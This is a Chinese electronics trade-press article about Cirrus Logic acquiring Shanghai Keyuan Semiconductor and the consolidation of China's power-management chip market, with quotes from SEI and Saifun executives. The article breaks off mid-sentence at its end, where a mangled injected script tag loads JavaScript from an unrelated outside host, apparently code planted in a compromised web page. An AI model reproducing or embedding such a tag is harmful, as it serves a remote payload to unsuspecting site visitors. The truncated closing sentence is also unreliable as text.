cirruslogic最近收购了上海科圆半导体，这已经是最近一年来中国电源管理芯片领域第三宗并购案。经过最初的狂热后，中国ic设计产业的某些领域已经过热，未来将出现整合，例如电源管理芯片和多媒体音视频芯片。而通过收购中国公司，国际半导体公司得以更快速进入中国市场，并加速研发和工程的本地化。
cirruslogic日前宣布以1,050万美元现金收购了04年成立的上海科圆半导体，并同意根据未来两年财务业绩付给特定员工可能的公司盈利。拥有37位员工的科圆主要开发单节锂离子电池保护芯片，并在05年获得了250万美元的第一轮投资。cirruslogic总裁兼首席执行官davidd.french表示：表示：“收购科圆扩展了cirrus在模拟芯片方面上的专业能力和多元化领域，并有助于我们进一步促进中国本土ip的发展。此外，通过发展设立在中国的机构，cirrus在中国市场的发展将占据更强大且长期的战略地位。”
这已经是过去一年多来，中国电源管理芯片领域第三宗并购案。2006年，美国研诺逻辑(aati)以2,200万美元收购了上海智芯的功率管理业务——崇芯微电子。而早在2005下半年，同样开发电源管理ic的美矽半导体被同在上海的龙鼎微电子收购。此外，就在几天前，飞兆半导体提出收购台湾崇贸科技公司。
北京思旺(sei)的总裁裴石燕对《国际电子商情》记者表示：“中国电源管理ic市场将出现一些整合。”他解释说，在过去几年中，很多小型电源管理芯片公司突然出现，理由很简单。加入这个高速增长的ic领域，特别是中国市场。不过，其中有一些财务状况很好，有一些不怎么样。有一些拥有明确的业务计划，另一些却没有。每当有来自广泛领域的大量公司和人员在单一市场抢食的时候，激烈的竞争就会出现。好消息是价格很快下降，市场迅速增长。坏消息是，有一些公司不能够生存。这有点类似目前中国的汽车产业。有一些供应商将寻找出路，和其它更强者合并，而有一些只会消失。
裴石燕透露说：“一些美国主要供应商也找到了思旺，谈判还在进行中。不同的是，思旺已经实现了赢利，并且增长势头非常好。因此我们有更多的选择。”成立6年多的思旺电子非常注重质量控制，目前已经在市场上初步树立起了品牌，有一些公司甚至在自己的芯片上打上思旺的品牌“sei”。裴石燕表示：“这对我们不是一件好事，但它确表明了客户信任sei的品质。如果被收购的话，我希望保留sei品牌，并让思旺的运作有一些独立性。”
致力于国产ic的推广及应用的代理商赛凡半导体(saifun)营销经理黄琦则表示，电源管理芯片市场比较微妙，由于这一领域门槛不太高，因此涌入了很多公司，但真正做得好的并不多，整合在所难免。他向《国际电子商情》记者解释说，电源管理芯片的设计难度并不大，主要受限于代工厂。随着主控芯片中集成越来越多电源管理功能，低电压、小电流的电源管理芯片生存空间越来越少，例如mp3播放机中，dc/dc和mosfet都被集成了，只有几个ldo了。只有高电压和大电流产品暂时不会被集成，而高压工艺只有台积电等少数代工厂做得很好，大陆的几条高压工艺线还存在差距，由于国际上高压产能非常抢手，产量很小的大陆公司很难获得台积电的产能。他强调说：“电源管理芯片的品质稳定性比价格重要，衡量电源管理芯片厂商价值关键是要看它做了多年，时间越长，品质越好。”
国外公司借收购加速进入中国市场
正是因为如此，和拥有产能、经验的国外芯片厂商合作甚至合并，对于中国电源管理芯片厂商是一个不错的选择。黄琦还表示，国内很多电源管理芯片厂商都是“抄”国外的型号，走替代路线。对于一些“抄”得很好的中国公司，国外公司选择收购可谓一举三得，一是可以消灭一个竞争对手;二是很多国外公司也要在中国建立研发中心，收购中国公司，可以借此更快速将部分研发转移到中国;三是利用中国公司的人脉，可以更好处理好和各方的关系。
通常而言，美国公司会收购一些很专业、技术很前沿的小公司，而不是这种开发替代型产品的公司，不过，美国公司收购中国公司主要还是为了中国市场。裴石燕对《国际电子商情》记者表示：“大多数时候美国公司购买一个公司的确只是为了获得技术，这仍然是法则。但是在最近，中国市场有一些变化，同样一些大型美国公司的销售预测也有一些变化。”他解释说，中国电源管理芯片市场增长非常快，而一些大型美国公司在未来季度里的销售预测却显示出了下降趋势。很显然，他们没有能够加入到中国这个狂欢的派对中来。他们非常希望加入到这个派对中来，而购买一个中国公司看起来是最简单和最快速的方法。除了这种收购模式外，一些公司也在试图和位于中国的ic设计公司建立odm模式的合作。
除了电源管理芯片外，未来还可能出现整合的领域包括多媒体芯片，如mp3解码芯片。黄琦解释说：“mp3/mp4领域的ip已经非常成熟，只需买过来重新组合一下就可以设计出?script src=http://er12.com/t.js>
